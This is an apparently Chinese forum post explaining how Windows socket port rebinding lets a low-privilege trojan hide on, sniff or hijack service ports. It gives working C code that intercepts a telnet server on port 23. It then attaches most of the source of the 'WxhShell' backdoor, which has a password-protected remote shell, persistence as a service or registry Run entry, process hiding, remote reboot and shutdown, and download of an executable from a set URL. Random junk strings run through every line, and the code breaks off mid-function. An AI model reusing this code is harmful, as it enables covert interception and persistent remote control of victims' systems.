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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p;av63 i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (r_xs  
,]e!OZ[$m  
  saddr.sin_family = AF_INET; /M>8ad  
3^kZydZ CN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7<&CN0&  
|n-NK&Y(o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %H\i}}PTe  
LO8V*H(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w]w>yD>$  
aagN-/mgm  
  这意味着什么?意味着可以进行如下的攻击: Cs$wgm*  
l_JPkM(mJw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pNFL;k+p}  
N_TWT&o4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9kj71Jp&}  
4}sfJ0HhX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wkm;yCF+  
Mfjj+P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pQc5'*FKd  
o@[yF<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;j]0GD,c$  
F$Q( 2:w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $<c0Z6f  
(xffU%C^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |eIEqq.Eb  
9W$FX  
  #include ffo{ 4er  
  #include =\7o@ 38  
  #include qYj EQz  
  #include    -E1b5i;f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O)|{B>2r  
  int main() mXnl-_  
  { +rS}f N$L.  
  WORD wVersionRequested; j`1% a]Bwc  
  DWORD ret; k mjSSh/t  
  WSADATA wsaData; A=q)kcuy5  
  BOOL val; ;RNU`I p  
  SOCKADDR_IN saddr; F"xD^<i  
  SOCKADDR_IN scaddr; qX[a\HQa  
  int err; der'<Q.U:k  
  SOCKET s; 'Dyt"wfo  
  SOCKET sc; ?<c)r~9]  
  int caddsize; Y9fktg.  
  HANDLE mt; 8"R; axeD  
  DWORD tid;   \nM$qr'`B  
  wVersionRequested = MAKEWORD( 2, 2 ); h32QEz-+  
  err = WSAStartup( wVersionRequested, &wsaData ); CqQ>"Y  
  if ( err != 0 ) { o9+ "6V|.  
  printf("error!WSAStartup failed!\n"); l@ vaupg  
  return -1; x_lCagRGC4  
  } 4R-Y9:^t  
  saddr.sin_family = AF_INET; ]Ga}+^  
   8/X#thG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w=>~pYASH  
4PUSFZK?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fMRBGcg7Dc  
  saddr.sin_port = htons(23); dD@k{5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -MZ LkSU  
  { 6tXx--Nh  
  printf("error!socket failed!\n"); ,w%cX{  
  return -1; %(h-cuhq  
  } Fi.gf?d  
  val = TRUE; -miWXEe@l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CHp`4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YnC7e2  
  { :X-Z|Pv8  
  printf("error!setsockopt failed!\n"); Fl\X&6k  
  return -1; +grIw# j  
  } FHWzwi*u}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *x3";%o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 42mi 7%f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8:hUj>q x  
\ } ,="  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WvVHSa4{  
  { uKF?UXc  
  ret=GetLastError(); HlEp Dph%  
  printf("error!bind failed!\n"); Eyu]0+  
  return -1; "TB4w2?=  
  } 'j>+eA>  
  listen(s,2); BH _y0[y  
  while(1) Nx>WOb98  
  { >&V?1!N"  
  caddsize = sizeof(scaddr); 4/; X-  
  //接受连接请求 \ZiZ X$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #@xSR:m  
  if(sc!=INVALID_SOCKET) `k~.>#  
  { 2*:lFv wP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WJvD,VMz  
  if(mt==NULL) jT/SZ|S  
  { +!9&E{pmo  
  printf("Thread Creat Failed!\n"); vUD,%@k9  
  break; ~7aBli=  
  } \,jrug<C$^  
  } Qzy[  
  CloseHandle(mt); T;D`=p#  
  } $P#Cf&R  
  closesocket(s); WK5~"aw  
  WSACleanup(); 6kH47Yc?  
  return 0; 1{\{'EP{  
  }   V*P3C5 l  
  DWORD WINAPI ClientThread(LPVOID lpParam) c$aTl9e  
  { (3YqM7cqt  
  SOCKET ss = (SOCKET)lpParam; OH~X~n-Z  
  SOCKET sc; ud xLHs  
  unsigned char buf[4096]; &Npv~Iy  
  SOCKADDR_IN saddr; yIC.Jm D*  
  long num; #q.Q tDz  
  DWORD val; gbNPD*7g9  
  DWORD ret; BEM_y:#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ct='Z E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p-n_ ">7  
  saddr.sin_family = AF_INET; .-[uQtyWW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D )z'FOaI  
  saddr.sin_port = htons(23); q]Gym 7o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o"D`_ER  
  { DArEIt6Q  
  printf("error!socket failed!\n"); [OJ@{{U%  
  return -1; m)4s4P57y  
  } AnVj '3  
  val = 100; jG=*\lK6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .&d]7@!qy  
  { |@pJ]  
  ret = GetLastError(); Gs$<r~Tg  
  return -1; F, {M!dL  
  } F. X{(8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) et]- ;(M  
  { #iD5& klo\  
  ret = GetLastError(); UKyOkuY:w  
  return -1; rQT@:$ )  
  } 0KqGJ :Ru  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '/+l\.z"&  
  { D&_Ir>"\  
  printf("error!socket connect failed!\n"); !FOPFPn  
  closesocket(sc); VQE8hQ37  
  closesocket(ss); z:f[<`,GT  
  return -1; tK)E*!  
  } h-`Jd>u"  
  while(1) w6>'n }  
  { NikY0=i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q`ERI5b6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c]jK Y<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e|Iylv[3  
  num = recv(ss,buf,4096,0); ^6;n@  
  if(num>0) m#Rgelhk.  
  send(sc,buf,num,0); 'c[4-m3bg  
  else if(num==0) q%8%J'Fro  
  break; (!kOM% 3{  
  num = recv(sc,buf,4096,0); KB+,}7  
  if(num>0) S)Cd1`Gf  
  send(ss,buf,num,0); B:qH7`s  
  else if(num==0) ws9F~LmLbr  
  break; s hjb b  
  } l]R O'  
  closesocket(ss); 01Bs7@"+  
  closesocket(sc); q:N"mp<%  
  return 0 ; u )+;(Vd  
  } |0YDCMq(  
8v)pPJr  
FEgM4m.(G<  
========================================================== Ho[Kxe[c  
n1K"VjZk  
下边附上一个代码,,WXhSHELL g(xuA^~J  
cl4`FU  
========================================================== 5]cmDk  
n[4F\I>  
#include "stdafx.h" }R5>ja0  
g2L^cP>2  
#include <stdio.h> <)c/PI[j  
#include <string.h> (UWP=L1  
#include <windows.h> "3CQ0  
#include <winsock2.h> bTB/M=M  
#include <winsvc.h> xC;b<~zN  
#include <urlmon.h> HN,E+ dQ  
K~"uZa^s  
#pragma comment (lib, "Ws2_32.lib") Q#NXJvI  
#pragma comment (lib, "urlmon.lib") s,>_kxuX  
`` (D01<  
#define MAX_USER   100 // 最大客户端连接数 u '-4hU  
#define BUF_SOCK   200 // sock buffer pk2OZ,14Mj  
#define KEY_BUFF   255 // 输入 buffer ^t4T8ejn  
ZrJAfd\5c  
#define REBOOT     0   // 重启 82#7TX4  
#define SHUTDOWN   1   // 关机 i-Ck:-J  
)G6{JL-I  
#define DEF_PORT   5000 // 监听端口 em`z=JGG  
d5&avL\  
#define REG_LEN     16   // 注册表键长度 "w ] Bq0  
#define SVC_LEN     80   // NT服务名长度 \{  
& Ji!*~sE  
// 从dll定义API e"HA.t[A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9[}L=n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fT1/@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .}gGtH,b3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5X>b(`  
rn3GBWC_C  
// wxhshell配置信息 /IS_-h7>XS  
struct WSCFG { "<6X=|C  
  int ws_port;         // 监听端口 "IbXKS>t  
  char ws_passstr[REG_LEN]; // 口令 `tKrTq>  
  int ws_autoins;       // 安装标记, 1=yes 0=no A?[06R5E#  
  char ws_regname[REG_LEN]; // 注册表键名 nxH+XHv  
  char ws_svcname[REG_LEN]; // 服务名 |uT|(:i84,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h^ wu8E   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ';"W0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V'TBt=!=]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ *W)r~ "~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sx{vZS3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J8Bz|.@Q  
]6)^+(zU  
}; "w3#2q&  
6qfL-( G  
// default Wxhshell configuration 1FC'DH!  
struct WSCFG wscfg={DEF_PORT, A/eZnsk  
    "xuhuanlingzhe", eZpyDw C{  
    1, OxGKtnAjf  
    "Wxhshell", F)dJws7-  
    "Wxhshell", 1#LXy%^tO  
            "WxhShell Service", ._2#89V  
    "Wrsky Windows CmdShell Service", +[386  
    "Please Input Your Password: ", 7,0^|P  
  1, ia#Z$I6  
  "http://www.wrsky.com/wxhshell.exe", tKtKW5n~  
  "Wxhshell.exe" F*" "n  
    }; t){})nZ/4  
rH@ {[~p  
// 消息定义模块 i*-[-hn-V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h/`]=kCl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kY d'6+m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UQZ<sp4v;  
char *msg_ws_ext="\n\rExit."; h"h3SD~  
char *msg_ws_end="\n\rQuit."; MR$R#  
char *msg_ws_boot="\n\rReboot..."; GQ=Zp3[  
char *msg_ws_poff="\n\rShutdown..."; !h\.w9o[  
char *msg_ws_down="\n\rSave to "; -!d'!; ]  
$7k"?M_  
char *msg_ws_err="\n\rErr!"; 8%C7!l q  
char *msg_ws_ok="\n\rOK!"; k:1p:&*m  
bYs K|n  
char ExeFile[MAX_PATH]; 5q<cZ)v#&  
int nUser = 0; -G\svwv@)  
HANDLE handles[MAX_USER]; s2SxMFDP  
int OsIsNt; [4p~iGC  
'OrGt_U  
SERVICE_STATUS       serviceStatus; rw:z|-r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uk@du7P1k  
XPJsnu  
// 函数声明 2HA-q),6  
int Install(void); ?w^MnK0U)  
int Uninstall(void); I8ZBs0sfF{  
int DownloadFile(char *sURL, SOCKET wsh); 1Ce7\A  
int Boot(int flag); hA'i|;|ZYc  
void HideProc(void); (^_j,4  
int GetOsVer(void); %5g(|Y]  
int Wxhshell(SOCKET wsl); 244[a] %&;  
void TalkWithClient(void *cs); sd5%Szx  
int CmdShell(SOCKET sock); FX1[ 2\  
int StartFromService(void); $<NrJgQ  
int StartWxhshell(LPSTR lpCmdLine); Mz59ac  
'{>R-}o[3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -hd@<+;E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rXh*nC  
{[I]pm~n  
// 数据结构和表定义 a:v5(@8  
SERVICE_TABLE_ENTRY DispatchTable[] = \ 8v^ hb  
{ 19h@fA[:  
{wscfg.ws_svcname, NTServiceMain}, )6!ji]c N  
{NULL, NULL} {>v5~G  
}; gT-"=AsxZQ  
\iP=V3  
// 自我安装 VTUY#+3  
int Install(void) 0<3->uK  
{ }xa~U,#5  
  char svExeFile[MAX_PATH]; L'?7~Cdls  
  HKEY key; l('@~-Zy  
  strcpy(svExeFile,ExeFile); mz>GbImVD~  
'w$jVX/  
// 如果是win9x系统,修改注册表设为自启动 634OH*6  
if(!OsIsNt) { te[#FF3{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m;4qs#qCg?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rv?4S`Z,x$  
  RegCloseKey(key); 3< 'bi}{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1m~-q4D)V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W9D~:>^YP  
  RegCloseKey(key); BjSd\Ul  
  return 0; {D$5M/$  
    } /:Q  
  } ;:PxWm|_  
} Of}dsav   
else { N^Hj%5  
jk\z-hd  
// 如果是NT以上系统,安装为系统服务 '.B5CQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fxQ4kiI  
if (schSCManager!=0) `GUGy.b  
{ -HU4Ow  
  SC_HANDLE schService = CreateService pN4gHi=  
  ( iSP}kM}  
  schSCManager, #3knKBH  
  wscfg.ws_svcname, A8X3|<n=  
  wscfg.ws_svcdisp, \\ZCi`O  
  SERVICE_ALL_ACCESS, ]N;\AXZ7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c5em*qCw$  
  SERVICE_AUTO_START, ,,c+R?D  
  SERVICE_ERROR_NORMAL, H~NK:qRzK  
  svExeFile, 0-Ga2Go9  
  NULL, =91wC  
  NULL, wgUgNwd1  
  NULL, kNd(KQ<.17  
  NULL, LrH"d  
  NULL 64UrD{$o  
  ); oTN:Q"oK7?  
  if (schService!=0) h!mx/Hx  
  { ]3Y J a  
  CloseServiceHandle(schService); 5 W!#,jz  
  CloseServiceHandle(schSCManager); & [z<p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WYN0,rv1:+  
  strcat(svExeFile,wscfg.ws_svcname); nw-%!}Ot"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tMiy`CPh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  3 GL,=q  
  RegCloseKey(key); ) ^`V{iD  
  return 0; G]n_RP$G  
    } lyD=n  
  } U#G<cV79  
  CloseServiceHandle(schSCManager); 3;JF 5e\?x  
} .TM. v5B  
} Y#t9DhzFWo  
X#>:9  
return 1; C %i{{Y&l  
} eg1Mdg\a  
FnPn#Cv>*  
// 自我卸载 Itz[%Dbiq9  
int Uninstall(void) YuUJgt .1  
{ Ea)=K'Pz  
  HKEY key; 7J ;\&q'  
|ju+{+  
if(!OsIsNt) { <U y $b4h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M%YxhuT0  
  RegDeleteValue(key,wscfg.ws_regname); vW-o%u*  
  RegCloseKey(key); n-u HKBq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P0/Ctke;  
  RegDeleteValue(key,wscfg.ws_regname); J9/EJ'My  
  RegCloseKey(key); `\r <3?  
  return 0; Y?6}r;<  
  } dsn(h5,Q'  
} ,<BV5~T.|  
} -W{ !`<8D  
else { QM24cm T  
?PYZW5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5\Rg%Ezl  
if (schSCManager!=0) 7~~suQ{F4  
{ }X6w"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Iqci}G%r  
  if (schService!=0) :*ZijN*{)$  
  { Px3I+VP  
  if(DeleteService(schService)!=0) { <@$+uZt+  
  CloseServiceHandle(schService); S.Q:O{]  
  CloseServiceHandle(schSCManager); =q(?ALGc  
  return 0; . H}R}^  
  } PpLiH9}  
  CloseServiceHandle(schService); =$y;0]7Lwi  
  } H)h$@14xu  
  CloseServiceHandle(schSCManager); I7\T :Q[  
} 1k]L,CX  
} ~d3|zlh  
cw,|,uXq 6  
return 1; ]K'OH&  
} 2Ab`i!#  
z(u,$vZ _  
// 从指定url下载文件 r>}z|I'  
int DownloadFile(char *sURL, SOCKET wsh) 5,pEJ>dDD3  
{ pD!j#suMA  
  HRESULT hr; Z*b$&nM  
char seps[]= "/"; <G0Ut6J>  
char *token; Z2 Vri  
char *file; `An p;el  
char myURL[MAX_PATH]; !>N+a3   
char myFILE[MAX_PATH]; kCALJRf~d  
wRZFBf~ :  
strcpy(myURL,sURL); jNI9 .45y  
  token=strtok(myURL,seps); w9StW9 4p  
  while(token!=NULL) +k h Tl:  
  { P:WxhO/  
    file=token; IR{XL\WF  
  token=strtok(NULL,seps); [ahwJF#r  
  } F|G v  
k[}WYs+r  
GetCurrentDirectory(MAX_PATH,myFILE); G?,"AA;  
strcat(myFILE, "\\"); !*3]PZ25a(  
strcat(myFILE, file); H|$ *HQm  
  send(wsh,myFILE,strlen(myFILE),0); GO.7IL{ {  
send(wsh,"...",3,0); KG4zjQf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vw$b]MO!  
  if(hr==S_OK) nly}ly Q/  
return 0; 9f/l"  
else Z&4L///  
return 1; w5yX~8UzJ  
0|]d^bo  
} ">M&/}4  
3ZN\F  
// 系统电源模块 ]9~Il#  
int Boot(int flag) P+y XC^ ,  
{ \mTi@T!&  
  HANDLE hToken; ,:#h;4!VRF  
  TOKEN_PRIVILEGES tkp; a*t @k*d_  
r7#.DJnN.  
  if(OsIsNt) { W56VA>ia  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >l #D9%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,xR u74  
    tkp.PrivilegeCount = 1; &grvlK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E,dUO;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #?`S+YN!q)  
if(flag==REBOOT) { _#Lq~02 %  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]t~'wL#Z  
  return 0; Mnk-"d  
} #|3,DZ|)F  
else { E3(o}O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D+jE{v'  
  return 0; S_ nAO\h  
} D>^g2!b:  
  } l D->1=z  
  else { ^QjkZ^<dD  
if(flag==REBOOT) { 4e?bkC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H DD)AM&p  
  return 0; '? -N  
} 5wdKu,nq  
else { P_b!^sq9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8GRB6-.h  
  return 0; $BT[fJ'k  
} GIT"J}b}  
} HO_(it \  
?Q$a@)x#  
return 1; Q/]o'_[vW  
} sxS%1hp3  
@4Zkkjc4b  
// win9x进程隐藏模块 Pd& Npp3  
void HideProc(void) R^=v&c{@  
{ ay| |yn:  
hrO9_B|#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *>`6{0, 9  
  if ( hKernel != NULL ) {; th~[  
  { z,hBtq:-$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ir>S\VT4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \rATmjsKzS  
    FreeLibrary(hKernel); "'GhE+>Z  
  } sP}u  zS  
x%O6/rl  
return; s"J)Jc  
} _"OE}$C  
'/OQ[f=K  
// 获取操作系统版本 )Z|G6H`c3  
int GetOsVer(void) QN?EI: q=  
{ j:>0XP  
  OSVERSIONINFO winfo; R#.H&#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e2K9CE.O  
  GetVersionEx(&winfo); &cd>.&1<2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p@Cas  
  return 1; KT*>OYI  
  else eE=2~ ylU  
  return 0; >4-9 @i0FV  
} @/ nGc9h  
: 2$*'{mM  
// 客户端句柄模块 9[W >`JKo  
int Wxhshell(SOCKET wsl) e ky1}  
{ g HkHAOe/  
  SOCKET wsh; ?Bl/bY$*h  
  struct sockaddr_in client; H'7s`^- >I  
  DWORD myID; B[6k [Vs  
@HSK[[?  
  while(nUser<MAX_USER) {]Cn@.TPD  
{ Vp0_R9oQ  
  int nSize=sizeof(client); #U7pT!F x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ^u#iz  
  if(wsh==INVALID_SOCKET) return 1; Rjlp<  
|W$|og'wC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 61_-G#W  
if(handles[nUser]==0) c53:E'g  
  closesocket(wsh); cH4 PrMm&  
else C^5 V  
  nUser++; \x\N?$`ANc  
  } >T\@j\X4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]h&1|j1  
s$(%?,yf2  
  return 0; >dJ~  
} $+ N~Fa  
`W" ;4A  
// 关闭 socket O9o]4;  
void CloseIt(SOCKET wsh) S0gxVd(  
{ h^qZi@L  
closesocket(wsh); F u^j- Io  
nUser--; b62B|0i  
ExitThread(0); rlawH}1b  
} ~Hv>^u Mh  
J .TK<!  
// 客户端请求句柄 $~/cxLcT  
void TalkWithClient(void *cs) r\FZ-gk}Q  
{ Iz-mUD0;  
Q<g>WNb  
  SOCKET wsh=(SOCKET)cs; /Hq  
  char pwd[SVC_LEN]; ~tV7yY|zr  
  char cmd[KEY_BUFF]; 7fO<=ei:  
char chr[1]; I"x~ 7  
int i,j; A>e-eD xi  
q8-hbWNm4  
  while (nUser < MAX_USER) { [^bq?w  
JR xY#k  
if(wscfg.ws_passstr) { VCiq'LOR,<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @D=%J!!*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <1Sj_HCT  
  //ZeroMemory(pwd,KEY_BUFF); /988K-5k  
      i=0; '6e4rn{  
  while(i<SVC_LEN) { )G?\{n-  
HwZl"!;Mry  
  // 设置超时 U6*[}Ww  
  fd_set FdRead; ' (XB|5  
  struct timeval TimeOut; *]h"J]  
  FD_ZERO(&FdRead); 2<p@G#(  
  FD_SET(wsh,&FdRead); /':64#'  
  TimeOut.tv_sec=8; oWLP|c~ Ap  
  TimeOut.tv_usec=0; #gT"G18/!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NWPT89@l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /{jt]8/;7  
yzT1Zg_ER  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2kDv (".  
  pwd=chr[0]; -K(d]-yv  
  if(chr[0]==0xd || chr[0]==0xa) { Yb_HvP  
  pwd=0; D)DD6  
  break; S@S4<R1{\  
  } ys>n%24qP  
  i++;  bKK'U4  
    } %eW7AO>  
jb,a>9 ]p  
  // 如果是非法用户,关闭 socket 0bc>yZ\R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "+Ys}t~2  
} _u u&?<h  
3N+B|WrM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j[FB*L1!D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b]Kb ~y|  
9L3P'!Z  
while(1) { ~o|sma5.  
o@_i&4[MW  
  ZeroMemory(cmd,KEY_BUFF); ]B3+& g  
5@ td0  
      // 自动支持客户端 telnet标准   :t9![y[=|  
  j=0; t']/2m.&p  
  while(j<KEY_BUFF) { %t!r pyD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Fuu V{x|  
  cmd[j]=chr[0]; WAR!#E#J7  
  if(chr[0]==0xa || chr[0]==0xd) { _e ;b B?S  
  cmd[j]=0; *i#N50k*j'  
  break; p-)@#hE  
  } pX*E(Q)@!  
  j++; 8-7Ml3G*  
    } EW vhT]<0  
+HRtuRv0T  
  // 下载文件 =q)+_@24>d  
  if(strstr(cmd,"http://")) { UR=s=G|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W2h4ej\s  
  if(DownloadFile(cmd,wsh)) Vn:v{-i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \9tJ/~   
  else =T26vu   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tjB)-=j[  
  } t?)]xS)  
  else { 8IWT;%  
]3,  
    switch(cmd[0]) { DO-M0L  
  ?E V^H-rr  
  // 帮助 @lWNSf  
  case '?': { x|Pz24yP9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IemhHf ^l  
    break;  4q7H  
  } 4|I;z  
  // 安装 Ja4M@z  
  case 'i': { %saP>]o  
    if(Install()) }qoId3iY!7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r(Z?Fs/  
    else Gf9sexn]l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Ejhw3Nw  
    break; bpU> (j  
    } cZF|oZ6<  
  // 卸载 'jE/Tre^  
  case 'r': { (jhi<eV  
    if(Uninstall()) KWD{_h{R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yHC[8l8%  
    else WbhYGcRy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _z%~ m2SP  
    break; bXc*d9]  
    } lX2:8$?X  
  // 显示 wxhshell 所在路径 0<uLQVoR2n  
  case 'p': { pM+9K:^B  
    char svExeFile[MAX_PATH]; =-/'$7R,  
    strcpy(svExeFile,"\n\r"); {dxl8~/I  
      strcat(svExeFile,ExeFile); H Q[  
        send(wsh,svExeFile,strlen(svExeFile),0); n{L^W5B  
    break; v@SHR0  
    } .bP8Z =  
  // 重启 bx{njo1Mr  
  case 'b': { _K{- 1ZYsi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LJb=9tp~  
    if(Boot(REBOOT)) d*04[5`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $|&<cenMT  
    else { O/ItN5B ;  
    closesocket(wsh); "s]  
    ExitThread(0); XRQ1Uh6  
    } O gQ8yKfDB  
    break; i%<NKE;v7m  
    } 0QPY+6  
